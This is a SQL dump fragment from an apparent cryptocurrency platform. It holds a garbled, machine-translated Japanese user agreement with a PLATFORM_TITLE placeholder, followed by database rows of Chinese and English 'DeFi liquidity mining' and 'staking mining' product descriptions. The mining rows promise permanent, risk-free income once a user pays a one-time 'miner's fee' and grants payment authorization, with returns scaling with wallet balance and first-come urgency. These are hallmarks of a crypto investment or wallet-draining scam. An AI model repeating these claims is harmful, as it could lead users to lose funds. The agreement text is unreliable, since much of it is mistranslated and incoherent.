セクション3.3 (id認証)に概説されているプログラムの権利を取得してから、デジタルマネーや電子マネーの移転や引き出しを許可します。いつでも抽出してあなたのための電子貨幣の财布やデジタル通貨の财布の中のすべての残高を訪問、https://www.platform_title.com/settings/cancel贵方を取り消しplatform_title口座に来ます。キャンセルは、あなたのPLATFORM_TITLEアカウントを入力するために課金されませんが、あなたは私たちの未払い金を支払う必要があります。あなたは私達がキャンセル時に処理すべき取引をキャンセルまたは停止することを許可します。


8.責任です


8.1 PLATFORM_TITLEのリリースです。PLATFORM_TITLEサービスの1人または複数のユーザー(PLATFORM_TITLEを除く)と紛争が発生した場合、当社、当社の関連会社またはサービスプロバイダー、ならびに当社のそれぞれの役員、取締役、エージェント、ジョイントベンチャー、従業員、代表者に同意していただけます。このような紛争に起因する、または何らかの方法で関連する、あらゆる種類または性質のクレーム、要求、損害賠償(実際および対応する、直接または間接的)に対して責任を負います。


8.2補償します。付録1に記載されたような費用(弁護士費用、罰金、費用、または当社の違反および/または当社による本契約の実施(当社の「行動ポリシー」または当社の「ポリシーによる使用禁止、業務禁止、条件付き使用」の違反を含むがこれらに限定されません)について、または法律、規則、規制、または第三者の権利への違反に同意ください。


8.3責任制限です。PLATFORM_TITLEの本契約違反によるあなたの損失、コスト、責任または費用のいずれかの個人的な請求または一連の関連する請求に対するPLATFORM_TITLEの合計責任は、PLATFORM_TITLEに関連する違反行為が発生した場合の最大合計に限定されるべきです。e-moneyウォレットとデジタル通貨ウォレット内のデジタル通貨とe-moneyの合計価値を保存します。私たちが特定の取引に関連した特定のクレームを検討している場合、その金額は係争中の取引の購入/販売の金額(関連する場合)にさらに制限されるべきです。


8.4損失制限です。上記のセクション8.3(責任制限)における責任の上限を除いて、いずれの場合にも、当社、当社の関連会社またはサービスプロバイダ、または当社またはその管理者、取締役、代理人、従業員、または代表者は、本契約またはその他の方法によって引き起こされる、またはそれに関連する以下の種類の損失または損害を一切負いません。


(A)予期された取引利益の損失および/または実際または想定された直接または間接的な取引損失を含む利益の損失または予期された収益または利益の損失は、たとえ我々が知らされたか知っていたとしても、あるいは同じ可能性を知っていたはずです。これが意味するのは、単なる例として(前文の範囲を限定するものではなく)、当社がデジタル通貨の取引を適切に処理できなかったと主張する場合、あなたの損失は、デジタル通貨の支持された価値以上の取引に関与しない通貨および電子マネーに限定され、取引の利益が予想される「損失」、またはデジタル通貨の売買ができなかったことによる実際の取引の損失を補償することができない場合があります。


(B)評判やのれんによる損失や損害です。任意の業務や机会、顧客や契約の損失です;任意の間接費用、管理または他の従業員の時間の損失または無駄です;または任意の他の直接または間接的な収入の損失または実際または予期された節約、たとえ私達が教えられるか知っているか同じ可能性を知っているはずです;


(C)任意のハードウェア、ソフトウェアまたはデータの使用の損失および/またはデータの任意の破損です。デジタル通貨価格データの不正確、欠陥、または欠落による、または、それに関連する損失または損害を含みますが、これらに限定されません。このようなデータの送信のエラーまたは遅延;および/またはこのようなデータの任意の中断です;と


(D)当社が本契約に違反したことによる直接的な損失または損害ではないもの(そのような損失または損害を証明できるかどうかに関わらず)です。


8.5法律を適用します。本第8条(責任)における責任制限は、適用される法律および規則に基づき、PLATFORM_TITLEサービスを提供する際に合理的な慎重さと技能を行使する義務があります。本契約のいかなる内容も、私たちの詐欺や詐欺的陳述、重大な過失、故意の不当行為、私たちまたは私たちの下請業者の不注意による死亡や人身傷害の責任を制限するものではありません。


8.6保証なしです。PLATFORM_TITLEサービス、PLATFORM_TITLEプラットフォーム、webサイトはすべて「そのまま」と「利用可能」で提供されます。PLATFORM_TITLEサービスの利用可能性についてはこれ以上の約束はいたしません。具体的には、当社は、所有権、適合性、特定用途の適合性、および/または権利侵害をしないことを明示的に保証しません。当サイトに対していかなるアクセスも約束しません。いかなるPLATFORM_TITLEサービスまたはその中に含まれるいかなる材料も、連続的で、間断なく、タイムリーで、誤りのないものとします。当サイトで利用可能な過去のデジタル通貨の価格データの正確性、順序、適時性、または完全性については一切言及しません。PLATFORM_TITLEが当サイトを通じて提供している資料、情報、意見、予測または推定はあくまでも参考に過ぎません。変更する場合は予告なしに対応します。ウェブサイトおよび/またはウェブサイトで提供されている材料、情報、見解、予測または推定値の相関性、タイムリー性、正確性、十分性、ビジネス価値、完全性、信頼性をあなた自身で評価しなければなりません。そのため、PLATFORM_TITLEはいかなる保証も提供しません。また、PLATFORM_TITLEは、提供または提供された材料、情報、見解、意見、予測または推定に対するあなたの直接的または間接的な行動による、当サイトおよび/または当サイトの損失を一切受け付けません。platform_titleサービス、platform_titleプラットフォームやサイトで具体的な投資の提供のため、税務や法律アドバイスやはいかなる投資や製品に対するいかなる特定の投資家のためのいかなる提案。投資または製品に投資する前には、独立した財務、法律、規制、税務、またはその他の助言を求める必要があります。コンサルタントにアドバイスを求めないことを選択した場合、その投資や商品があなたに適しているかどうかを検討する必要があります。デジタルマネーワレット、電子マネーのワレット、銀行口座、クレジットカードおよびデビットカードに関連するデジタル通貨取引、デビットおよびローン請求の即時処理を保証するために合理的な努力を尽くしますが、PLATFORM_TITLEは金額について何も言及しないか保証しません。私たちは、銀行口座、クレジットカード、小切手の発行に関連する電子デビットカードおよびクレジットカードの要求が適時に処理されることを保証するために合理的な努力を尽くしますが、私たちが制御することができない多くの要因に依存して、処理を完了するのに必要な時間について、いかなる説明も保証もしません。本契約に規定された明示的な宣言を除いて、あなたはここで、PLATFORM_TITLEサービスおよびウェブサイトの使用およびアクセスについて、書面または口頭でのあなたの声明または理解に依存していないことを承認し、同意します。


8.7責任を負いません。当社が制御できない異常な状況や予見できない状況によって直接または間接的に発生した遅延、履行の失敗、サービスの中断を含む本契約への違反行為について、当社は責任を負いません。本契約への影響はありますが、その結果は不可避なものとなります。私たちも責任を負いません。


9.ウェブサイトの利用可能性と正確性です


9.1アクセスと可用性です。PLATFORM_TITLEサービスへのアクセスは、変動が大きい場合や取引量が多い場合に劣化または利用できなくなる場合があります。これにより、PLATFORM_TITLEアカウントまたはPLATFORM_TITLEサービスへのアクセスが制限される可能性があります。取引の開始または完了ができなくなるほか、サポートの応答時間が遅れる可能性があります。


(A)優良なサービスを提供するよう努力していますが、ウェブサイトまたは他のPLATFORM_TITLEサービスが中断されないことを保証しません。註文が実行され、受け付けられ、記録され、オープンに保たれること、またはPLATFORM_TITLEアカウントがアクセスできることを保証しません。と


(B)特に非信頼とセキュリティの問題において、当社のカスタマーサポートの応答時間が遅れる場合があります。変動が大きい場合や取引量が多い場合などです。いずれの場合も、PLATFORM_TITLEは、サービスの中断、取引処理の遅延、またはPLATFORM_TITLEカスタマーサポートの応答の遅れによる損害については責任を負いません。


9.2ウェブサイト正確性です。正確でタイムリーな情報をウェブサイト上で提供することを意図していますが、ウェブサイト(コンテンツを含みますがこれらに限定されません(以下の定義を参照))は、必ずしも完全に正確で、完全で、最新であるとは限らず、技術的に不正確であったり、印刷ミスであったりすることがあります。可能な限り完全で正確な情報をご提供し続けるため、当社のポリシー、製品、サービスに関する情報を含みますが、これらに限定されるものではありませんが、適用法の範囲内で随時変更または更新される場合があります。したがって、あなたはすべての情報に依存する前にそれを検証すべきであり、当サイトに含まれる情報に基づくすべての決定はあなた自身の責任であり、私たちはこのような決定に対して何の責任も負いません。これらに限定されるものではありませんが、第三者の資料へのリンクはnienceとして提供される場合があります。当サイトからアクセスまたはリンク可能なこのような第三者の資料に含まれる情報、コンテンツ、またはサービスのいずれの側面についても、私たちは責任を負いません。


10。顧客のフィードバック、問い合わせ、苦情と紛争解決


10.1 PLATFORM_TITLEに連絡します。何かフィードバック、問題、苦情がありましたら、弊社の「カスタマーサポート」のページから弊社までご連絡ください。urlはhttps://help.PLATFORM_TITLE.comです。ご連絡いただいた際には、お名前、eメールアドレス、ご自身を識別する必要があるかもしれないその他の情報、PLATFORM_TITLEアカウント、フィードバック、問題または苦情のある取引に関する情報をご提供ください。

10.2クレームです。もしあなたがPLATFORM_TITLEと紛争がある場合、まずは私たちのサポートチームに連絡してこのような紛争を解決しようと試みることに同意してくださいます。弊社がサポートチームを通じて紛争を解決できない場合、あなたと弊社は第10.2節に規定されたクレームプロセスを使用することに合意します。あなたは、セクション10.4に規定された行動を開始する前に、このプロセスを使用することに同意します。あなたが10.4条に従って行動する前に、この10.2条に規定された手続きに従わない場合、私たちは、次のステップが完了するまで、関係する裁判所/当局にあなたの行動/申請を却下するように求める権利があります。PLATFORM_TITLEサポート部門と連絡してクレームを解決できなかった場合は、弊社のクレームリストを使用して、クレームの原因、クレームの解決方法、関連があると思われるその他の情報を記載してください。クレームフォームはPLATFORM_TITLEのサポートページhelp.PLATFORM_TITLE.comにあり、PLATFORM_TITLEカスタマーサポートから請求することもできます。クレームシートの提出後、私たちはあなたのクレームシートが届いたことを確認します。クレーム担当者(「担当者」)がクレームを検討します。当管理者はあなたの提供する情報に基づいてPLATFORM_TITLEで提供するいかなる情報もあなたの苦情に影響を与えずにあなたの苦情を考慮します。私たちがあなたのクレームを受信した後、15営業日以内に、当局者は、電子メール(\"解決通知\")を送信することによって、クレームで提起されたすべての問題を解決します。当局者は:(i)要求された方法でクレームを解決することを提案します;(ii)あなたのクレームを拒絶する決定をして拒絶の原因を説明します;あるいは、(iii)代替解決策を提示してクレームを解決します。場合によっては、当局者が15営業日以内にクレームに回答できない場合、当局者は(法律で禁止されていない限り)クレームに回答するのが遅れた理由を説明し、期限を指定します(我々がクレームを受け取ってから35営業日以内)。あなたに提示された解決案は、あなたが納得した場合のみ、私たちに拘束力を与えます。解決策を提案したからといって、クレームのテーマに関する不適切な行動や責任を認めることにはなりません。


10.3もし私たちが上記のセクション10.2に規定されたクレーム手続きによってあなたのクレームを解決することができない場合、あなたは以下のセクション10.4(A)から10.4(B)に適用されるあなたの争議手続きによってあなたのクレームをアップグレードすることができます。


10.4第10.2条に規定されたクレーム手続きが完了するまで、弊社はあなたのクレームの全部又は一部について、以下10.4(A)から10.4(B)に規定されたいかなる争議手続きも開始しないことにご同意くださいます。第10.2節またはこの第10.4節のいずれも、いずれの当事者も管轄権のある裁判所において、保全または同様の一時的救済を求めることを妨げるものと解釈されてはならないが、完了している。


(A)電子マネーサービスです。クレームがいずれかの電子マネーサービスと<br>関係がある場合、あなたはクレームをFOSに提出する権利があるかもしれません。


(B)この契約またはPLATFORM_TITLEサービス、PLATFORM_TITLEプラットフォームまたはウェブサイトの提供によって生じた、またはそれに関連するクレームまたは紛争について、上記10.2条に規定されたクレーム手続きによって解決できない場合、非-イングランドおよびウェールズの裁判所の排他的管轄権に提出します。ただし、消費者(取引、業務または専門性に関連する行為に従事していない箇人、「消費者」)は、管轄の裁判所でPLATFORM_TITLEを提訴するいかなる強制的な権利も、彼らの住む場所には侵害されません。


11.データ保護です。


11.1個人情報です。あなたに関連する箇人データ(個人であれば)を処理する可能性があること、また従業員および他の従業員または他の箇人(個人でなければ)にすでに提供(または将来提供)することを承認していただき、この契約またはPLATFORM_TITLEサービスに関連します。私たちは、このパーソナルデータトンを本契約の一部を構成するプライバシーポリシーに従って取り扱います。ですから、あなたは宣言し保証します:


(A)すべての適用されるデータ保護およびデータプライバシー法に基づいて、あなた以外の箇人に関連する任意の箇人データを私たちに開示し、かつ、これらのデータは開示時に正確で、最新で、関連があります。


(B)私たちにこのようなパーソナルデータを提供する前に、あなたが私たちのプライバシーポリシーを読み、理解したことを承認し、そのコピーをここで入手することができます。


(C)私たちがプライバシーポリシーの代替バージョンを随時提供する場合、あなたは直ちにこの通知を読み、プライバシーポリシーの更新されたコピーを更新されたプライバシーポリシーを含むウェブページに提供またはリダイレクトします。


12.安全です


12.1パスワードセキュリティです。PLATFORM_TITLEサービスにアクセスするには、ユーザー名とパスワードを含むセキュリティ詳細情報を作成または取得する必要があります。あなたは、PLATFORM_TITLEサービスへのアクセスに使用される電子機器の安全性を保証し、PLATFORM_TITLEサービスへのアクセスに使用される任意およびすべてのセキュリティの詳細について十分な安全性と制御を維持する責任があります。これには、このような電子機器の紛失、盗難、または誤用を回避するためのあらゆる合理的な措置を取ることと、このような電子機器が暗号化およびパスワード保護されていることを保証することが含まれます。あなたの電子機器またはあなたのセキュリティ詳細情報の紛失または破損は、あなたのPLATFORM_TITLEアカウント、ならびにあなたのPLATFORM_TITLEアカウントおよび関連する任意の電子マネー、デジタルマネー、または資金の紛失または盗難アカウントへの第三者の不正アクセス<br>を招く可能性があります。ご関連の銀行口座とクレジットカードが含まれます。あなたは常にあなたの安全な詳細な情報を確保しなければなりません。例えば、書き留めたり、他の人に見せたりしてはいけません。PLATFORM_TITLEアカウントにログインするとき、コンピュータおよび/またはコンピュータ画面をリモートからアクセスしたり、他の人と共有することを許可してはいけません。PLATFORM_TITLEはいずれの場合も、あなたのID、パスワード、または2ファクター認証コードの提供、または画面共有、または他の方法であなたのコンピュータまたはアカウントにアクセスしようとする試みを必要としません。節3.2および4.10によって特別に許可されない限り、アカウントにリモートアクセスするために、任意の第三者に詳細な情報を提供してはいけません。任意の通信または通知の真正性に不確実性がある場合は、当サイトを介して常にPLATFORM_TITLEアカウントにログインし、任意の取引または必要な操作を確認してください。PLATFORM_TITLEの無過失、および/またはこの12.1節に規定された要求に従わなかったこと、または当社の通知またはアラートに従っていないまたは従っていない行動の結果、アカウントのログイン資格情報が漏洩したことによるいかなる損失に対しても、私たちは責任を負いません。


12.2身元確認と検証です。PLATFORM_TITLEサービスにアクセスするには,ユーザーがeメールアドレスを提供し,パスワードを作成する必要があります。PLATFORM_TITLEは、ユーザのモバイルデバイス(ショートメッセージサービス(「SMS」)またはサポートされた時間ベースのワンタイムパスワードアプリケーションを介して二重のアイデンティティ認証を提供します。smsによる二重認証を可能にするには、認証された電話番号が必要です。ユーザは、PLATFORM_TITLEサービスにアクセスするための電子装置のセキュリティを維持し、十分なセキュリティを維持し、PLATFORM_TITLEサービスにアクセスするためのあらゆるおよびすべてのセキュリティ詳細を制御する責任を負います。これは、電子機器の紛失、盗難、または悪用を回避するためにすべての合理的なステップを取ることと、電子機器が暗号で保護されていることを確実にすることとを含みます。個人用電子機器またはセキュリティの詳細の紛失または漏洩は、第三者によるユーザーのPLATFORM_TITLEアカウントへの不正アクセス、任意の電子マネー、デジタルマネー、および/またはあなたのPLATFORM_TITLEアカウントに保有されている資金、および任意の関連アカウントの不正使用を引き起こす可能性があります。関連した銀行口座とクレジットカード/デビットカードが含まれます。


12.3セキュリティ・ホールです。PLATFORM_TITLEアカウントまたはセキュリティ詳細情報のいずれかが漏洩した疑いがある場合、または詐欺または詐欺を企てている場合、またはあなたおよび/またはPLATFORM_TITLEに影響を与えるその他のセキュリティイベント(総称して「セキュリティホール」と呼ばれるサイバーセキュリティ攻撃を含む)を発見した場合、以下のようにしなければなりません。


(A)できるだけ早く無料の電子メールでPLATFORM_TITLEのサポートを知らせますtrust@PLATFORM_TITLE.com、または私達に電話します:0808 168 4639、または+1(888)908 7930(国際料金を取ることができます);


(B)セキュリティホール全体にわたって正確かつ最新の情報を提供し続けること。


(C)セキュリティホールを減らす、管理する、または申告するために、我々が合理的に要求する手順を踏まなければなりません。タイムリーな通知が提供されていない適切な解決策を決定する場合、セキュリティホールが考慮される可能性があります。


12.4あなたのコンピュータと設備の安全と保証です。PLATFORM_TITLEは、あなたのコンピュータまたは他のデバイスに影響を与える可能性のあるコンピューターウイルスまたは他の悪意のあるコード、フィッシング、スプーフィング、または他の攻撃による損害または中断に対して責任を負いません。信頼性が高く、いつでも利用できるウイルス検診および予防ソフトを定期的に使用することをお勧めします。また、SMSや電子メールサービスは詐欺やフィッシング攻撃に脆弱であり、当社からのメッセージを確認する際には注意が必要であることもご承知の通りです。


13.普通です


13.1あなたは適用法を遵守します。PLATFORM_TITLEサービス、PLATFORM_TITLEプラットフォーム、ウェブサイトをご利用いただいています。


13.2リミテッドライセンスです。本契約の条項に基づき、本ウェブサイトおよび関連コンテンツ、資料、情報(総称して「コンテンツ」と呼ばれます)へのアクセスと使用を許可するための限定的、非排他的、譲渡不可能な許可を許可します。このウェブサイトまたはコンテンツの他の使用は、明示的に禁止されており、このウェブサイトまたはコンテンツの他のすべての権利、所有権および利益は、PLATFORM_TITLEおよびその所有者の財産です。全てであれ、一部であれ、複製、転送、配信、販売、ライセンス、リバースエンジニアリング、修正、配布または販売への参加、派生作品の作成、またはその他の任意の方法でコンテンツを利用しないことに同意します。「PLATFORM_TITLE.com」、「PLATFORM_TITLE」、「PLATFORM_TITLEPro」、「Pro.PLATFORM_TITLE.com」およびPLATFORM_TITLEサービスに関連するもの、またはウェブサイトに表示されるすべてのロゴは、PLATFORM_TITLEまたはライセンス元の商標または登録商標です。事前の書面での同意なしに、コピー、模倣、または使用することはできません。


13.3禁止と条件付きの使用です。PLATFORM_TITLEサービスのご利用、他のユーザーや第三者とのやりとりについて、「利用禁止、サービス禁止、条件付き利用に関するポリシー」(付録1に記載)を遵守されることに同意されます。ここに含まれるもののいずれも、不正、不正、詐欺、非倫理的、または不正な目的のために電子マネーまたはデジタルマネーを付与する、またはいかなる不正、不正、詐欺、非倫理的、または不正な活動を促進する、または促進することを意味するものと解釈されてはなりません。当社は、あらゆる適用法、規制、制裁計画、法的手続き、または政府の要求を満たすために、必要な情報を常に監視、審査、保持、および/または開示する権利を保持します。


13.4輸出規制と制裁です。あなたのPLATFORM_TITLEサービスとウェブサイトの使用は国際的な輸出規制と経済制裁要求に拘束されます。ウェブサイトまたはPLATFORM_TITLEサービスを介してデジタル通貨を送信、受信、購入、販売、取引、または保存することは、これらの要件を遵守することに同意したことを意味します。以下の場合、当サイト<br>を通じたデジタル通貨へのアクセス、またはPLATFORM_TITLEサービスの利用はできません。


(A)あなたは、キューバ、イラン、北朝鮮、スーダンまたはシリア、または米国の禁輸、国連の制裁、欧州連合(eu)または英国財務省の金融制裁を受けた他の国の地域のいずれかで、その支配下にあるか、または国民または住民制度(それぞれの「制裁対象国」)に属します。または、もしあなたが当局(金融制裁実施局(英国財務省の一部)が時々発行する経済制裁リストに含まれますが、これらに限定されない場合、米国商務省の拒否者リスト、未確認リストまたはエンティティリスト、またはeuの金融制裁制度)(「制裁対象者」);あるいは


(B)あなたは、制裁対象国(または制裁対象国の国民または居住者)または制裁対象者に対して、取得または保存されているデジタル通貨または電子マネー、またはPLATFORM_TITLEサービスを提供するつもりです。


13.5修正します。電子マネーサービスに関する契約の変更を、少なくとも2ヶ月前に電子メールにてお知らせいたします。この場合、<br>変更の発効日までにお知らせがなければ、変更を受けてPLATFORM_TITLEサービスをご利用いただいたものとみなされます。もしあなたが変更を受け入れないならば、私達に知らせなければならなくて、本契約は2ヶ月の通知が終わる時終了します。2ヶ月の通知期限までのいつでも、本契約を無料で終了することもできます。私たちは、改訂されたプロトコルをウェブサイトに公開するか、または電子メールで送付することによって、改訂されたプロトコルがいつ発効するかを示す他のすべての改訂(他のPLATFORM_TITLEサービスに関連するものも含む)を行うことができます。可能な限り事前にお知らせするよう努めますが、合法的な場合には、修正されたプロトコルは直ちに有効であることを示すことができます。このような修正に同意しない場合は、PLATFORM_TITLEアカウントを閉鎖し、PLATFORM_TITLEサービスの使用を停止します。上記の方法で発行された修正通知は、あなたに通知するのに十分であることにあなたが同意し、PLATFORM_TITLEサービスへのアクセスおよび/または使用の継続は、修正に対するあなたの肯定的な確認応答を構成し、修正されたプロトコルを受け入れることを示すものとみなされるべきです。本契約の最新バージョンは随時ウェブサイト上で提供します。

13.6両者の関係です。この合意のいずれの内容も、見なすべきではありませんし、また、あなたまたはPLATFORM_TITLEがパートナーまたはジョイントベンチャーとして、あなたまたはPLATFORM_TITLEが他方の代理人として扱われる結果になってはなりません。


13.7他人のプライバシーです。PLATFORM_TITLEサービスを介して他のユーザーに関する情報を受信した場合は、その情報を秘密にし、PLATFORM_TITLEサービスに関連した用途にのみ使用しなければなりません。ユーザーの明示的な同意を得ない限り、取引および他の合理的に付随する機能(例えばサポート、照合、会計)を実行するために合理的に必要な場合を除き、ユーザー情報を第三者に開示または配布または使用することはできません。PLATFORM_TITLEサービスを介して他のユーザーにリクエストなしの通信を送信することはできません。


13.8連絡情報です。弊社が送信する可能性のある通知またはアラート(実際のセキュリティホールまたは疑いのあるセキュリティホールを含む)を受信するために、あなたのPLATFORM_TITLEアカウントデータにあなたの連絡先(メールアドレスおよび電話番号を含む)を更新する責任があります。私たちがどのようにあなたとコミュニケーションするかについてのより詳しい情報は、付録3を参照してください。


13.9税金です。あなたには、どのような税金がPLATFORM_TITLEサービスを介して行われたどのような取引にも適用されるか、そしてどの程度がPLATFORM_TITLEサービスを介して行われたどのような取引にも適用されるかを決定し、該当する税務機関に正しい税金の源泉徴収、徴収、報告、送金を行う責任があります。あなたの取引履歴はPLATFORM_TITLEアカウントから入手できます。


13.10未認知財産です。私たちがあなたを代表して電子マネーまたはデジタル通貨を保有していて、私たちがあなたと連絡することができず、かつあなたがPLATFORM_TITLEサービスを数年間利用した記録がない場合、適用される法律は、私たちが電子マネーまたはデジタル通貨を特定の管轄区域の当局に認知されていない財産として報告することを要求するかもしれません。私たちは、私たちの記録に表示された住所からあなたを見つけることを試みますが、もし私たちがあなたを見つけることができなかった場合、私たちは、任意のこのような電子マネーまたはデジタルマネーを誰も認知していない財産として、特定の管轄区域の当局に引き渡す必要があるかもしれません。このような認知されていない資金から、休眠費やその他の管理費を控除する権利は、法律が適用される限り留保されます。


13.11口座の所有者死亡します。安全上の理由から、あなたが死亡したことを確認する法的文書や、あなたが死亡したことを我々に納得させるその他の情報を受信した場合、私たちはあなたのPLATFORM_TITLEアカウントを凍結します。(i)あなたが指定した執行者/受託者が既にPLATFORM_TITLEの新しいアカウントを開設しているか、または彼らの名義でPLATFORM_TITLEの既存のアカウントを通知しています。そしてあなたのすべてのPLATFORM_TITLEアカウントがこの新しいアカウントに<br>転送されたか、または(ii)私たちはあなたが死んでいないことに満足している表形式の証明書を受け取りました。私たちはあなたが死亡した可能性があると信じる理由があるが、私たちが満足する形であなたの死亡を証明していない場合、あなたは私たちに直接または第三者による調査を許可し、私たちはあなたが死亡したかどうかを確認する必要があると考えます。私たちはあなたの死の証拠を受け取りました有効な遺言書またはそれに類する文書に指定された執行者/受託者は、新しいPLATFORM_TITLEアカウントの開設を要求されるか、PLATFORM_TITLE名義の既存のPLATFORM_TITLEアカウントに通知されることになります。あなたのPLATFORM_TITLE口座のすべての資金はここに入金されます。あなたが執行者/受託者を指定しない場合、我々は以下の権利を保持します:(i)遺言状またはこれに限定されるわけではありませんが、私たちが私たちの唯一の書類を受け取り、審査した上で、必要または適切であると判断した上で、あなたのPLATFORM_TITLEアカウントを承継する権利を有する者を、あなたの執行者/受託者とみなします。または(ii)あなたの財産に対する管轄権を有する裁判所が執行者/受託者を指定する命令を要求します。私たちの裁量で執行者/受託者の指定の有効性が不確実性がある場合、私たちはあなたのPLATFORM_TITLEアカウントと任意の使用を留保します。上記の規定により、指定された執行者/受託者が既にPLATFORM_TITLEアカウントを保有していない限り(この場合、追加の認証手続きが必要な場合があります)、PLATFORM_TITLEアカウントの所有者が死亡した後、指定された執行者/受託者が新しいPLATFORM_TITLEアカウントを開設しなければならず、ここであなたの執行者/受託者は新しいPLATFORM_TITLEアカウントの開設と本契約の第3節で要求される情報の提供を要求されることに同意します。PLATFORM_TITLEアカウントのコンテンツにアクセスできるようにします。


13.12完全な合意です。(ここに組み込まれたファイルを含む)このプロトコルは、PLATFORM_TITLEとの間で行われたこのプロトコルの本契約に関するすべての理解とプロトコルを構成し、あらゆるおよびすべての以前のいかなる形態の議論、プロトコル、および理解(このプロトコルのいずれの以前のバージョンを含むがこれに限定されるものではない)を置き換えます。そしてPLATFORM_TITLEとの間の全ての性質です


13.13説明します。本協議の章タイトルは便宜上のものであり、本協議のいかなる条項の意味または解釈も管轄しません。


13.14譲渡と譲渡です。本契約はあなた箇人のものであり、あなたの権利、許可、利益および/または義務を他の誰にも譲渡することはできません。PLATFORM_TITLEサービスの品質に大きな影響を与えない限り、当社のライセンス、利益、および/または義務を、PLATFORM_TITLEに関連する合併、買収、または他社の再編の一部として、いつでも譲渡または譲渡することができます。上記の規定を遵守することを前提に、本合意は拘束力があり、当事者、その相続人および譲受人の利益に合致するものとなります。我々が契約を譲渡および/または譲渡する場合、あなたは契約を直ちに終了する権利を留保します。


13.15権利を保証します。事前に承認を得ない限り、電子マネーまたはデジタルマネーにセキュリティを設定することはできません。


13.16無効です。いずれかの適用法により、本契約のいずれかの条項が無効または実行不可能であると判定された場合、他のいかなる条項の有効性にも影響を与えません。執行不能条項が見つかれば、執行不能条項は遮断され、残りの条項は執行されます。


13.17私たちの権利を行使します。私たちは必ずしも本契約の下での私たちの権利を厳密に実行するわけではないかもしれません。私たちはいつでも私たちの権利を行使しないことを選択した場合、これは一時的な措置であり、私たちはいつでも再び厳格に私たちの権利を行使する可能性があります。


13.18言語です。本契約書およびあなたまたは私たちが提供しようとする情報または通知は英語となります。このプロトコルまたは他の文書の訳文は、あなたの都合のために提供されたものであり、英語の原文の情報を正確に表すことができない場合があります。不一致の場合は、本プロトコルまたは他の文書の英語版を基準とします。


13.19制御権変更します。PLATFORM_TITLEが第三者エンティティによって買収または合併された場合、私たちは合併、買収、売却またはその他の支配権の変更のためにあなたから収集した情報の譲渡またはあなたとの関系(本契約を含む)の一部として権利を保持します。


13.20生存します。本契約のすべての条項は、その性質上、本契約の満了または終了を超えます。停止または終了、PLATFORM_TITLEアカウントのキャンセル、PLATFORM_TITLEに対する負債、PLATFORM_TITLEプラットフォームまたはウェブサイトの一般的な使用に関する部分を含みますが、これらに限定されません。PLATFORM_TITLEとの論争、一般的な条項は、本契約の終了または終了後も拘束力と機能を持ち続けます。


13・21法律を適用します。本契約と私たちの間の関係は、イングランドおよびウェールズの法律の管轄下にあるものとしますが、地元の強制的な法律または消費者が利用できる権利に従わなければなりません。

', '0', '2023-08-22 17:04:07', 0, NULL); +INSERT INTO `t_option_rules` VALUES (100122, '理财协议', 'zh', '

理财歇息嘻嘻嘻嘻嘻嘻嘻嘻嘻

', '0', '2023-08-22 20:37:49', 8, NULL); +INSERT INTO `t_option_rules` VALUES (100123, 'DEFI挖矿说明', 'zh', '

1.流动性挖矿

流动性挖矿是本公司打造的一款辅助用户管理数字资产并且长期高效收益的理财功能。用户点击(支付矿工费)支付一定的矿工费就会立即产生收益,用户只需支付一次永久生效,后续无需再次点击支付,收益比例取决于用户钱包余额,余额越高获得收益比越大。

注:(非出借)每6小时一个阶段每天发送4次收益详情,您可以通过收益详情查看详细收益情况。

注:(本产品属福利项引流产品目前名额有限,后续将对用户增设数字资产评估,只对达标用户开启该产品,所以先到先得)。

2.产品优势

稳健型福利项:无需出借资金也可获得长期收益,保障用户资产安全,无需承担风险损失安心享收益。

3.收益说明

收益规则:支付授权成功后立即生效,每日固定时间段内发放收益,用户收益周期为6小时,24小时内共可获得4次收益。

', '0', '2023-09-08 11:12:25', 9, NULL); +INSERT INTO `t_option_rules` VALUES (100124, 'DEFI挖矿说明', 'en', '

Liquidity mining


Liquidity mining is a financial management function created by our company to assist users in managing digital assets and achieving long-term and efficient returns. The user clicks (pays the miner\'s fee) to pay a certain miner\'s fee, and the income will be generated immediately. The user only needs to pay once to take effect permanently, and there is no need to click to pay again. The income ratio depends on the user\'s wallet balance. The higher the balance, the greater the income ratio.


Note: (non-lending) Earning details are sent 4 times a day every 6 hours, and you can check the detailed earnings through the earning details.


Product advantages


Robust welfare items


You can obtain long-term returns without lending funds, ensuring the safety of user assets, and enjoying returns without risking losses.


Income statement


profit rule


After the payment authorization is successful, it will take effect immediately, and the income will be issued within a fixed time period every day. The user income cycle is 6 hours, and a total of 4 incomes can be obtained within 24 hours.

', '0', '2023-09-08 11:16:31', 9, NULL); +INSERT INTO `t_option_rules` VALUES (100125, '质押挖矿说明', 'zh', '

1.什么是质押挖矿?

质押挖矿是本公司打造的一款帮助用户快捷进行链上质押获取奖励的工具产品。通过将数字资产质押在区块链网络,并获得基于POS(Proof of Stake,即权益证明)机制产生的奖励。在这个机制中,用户将数字资产委托给节点,节点在区块链上行使出块、打包交易等权利并获得奖励。用户根据锁仓数量按比例分享节点获得的奖励。

注:(非出借)每6小时一个阶段每天发送4次收益详情,您可以通过收益详情查看详细收益情况。

注:(本产品属福利项引流产品目前名额有限,后续将对用户增设数字资产评估,只对达标用户开启该产品,所以先到先得)。

2.产品优势

稳健型:质押挖矿可以获得第三方相对稳定的奖励,产品期限多样。

3.投向生息资产说明

质押挖矿是将您的数字资产质押在区块链上,以支持该区块链网络的运营,并获得相应的奖励。

4.收益说明

T日申购成功后,T+1日00:00开始起息,02:00利息结算。

5.交易说明

买入规则

支持随时申购。

6.风险提示

提前赎回定期产品,系统将扣除该笔订单已经获得的部分收益。

', '0', '2023-09-08 11:18:50', 10, NULL); +INSERT INTO `t_option_rules` VALUES (100126, '质押挖矿说明', 'en', '

What is staking mining?


Pledge mining is a tool product created by the company to help users quickly stake on the chain to obtain rewards. By staking digital assets on the blockchain network, and obtaining rewards based on the POS (Proof of Stake) mechanism. In this mechanism, users entrust digital assets to nodes, and nodes exercise their rights to produce blocks, package transactions, etc. on the blockchain and receive rewards. Users share the rewards obtained by nodes in proportion to the number of locked positions.


Note: (non-lending) Earning details are sent 4 times a day every 6 hours, and you can check the detailed earnings through the earning details.


Note: (This product is a welfare diversion product. Currently, the number of places is limited. In the future, digital asset evaluation will be added to users. This product will only be opened to users who meet the standards, so it is first come, first served).


Product advantages


Robust


Staking mining can obtain relatively stable third-party rewards, and the product term is diverse.


Investing in interest-earning assets


Pledge mining is to pledge your digital assets on the blockchain to support the operation of the blockchain network and obtain corresponding rewards.


Income statement


After successful subscription on T day, the interest rate will start at 00:00 on T+1 day, and the interest will be settled at 02:00.


transaction description


buying rules


Subscription is supported at any time.


risk warning


If you redeem a regular product in advance, the system will deduct part of the income already obtained from the order.

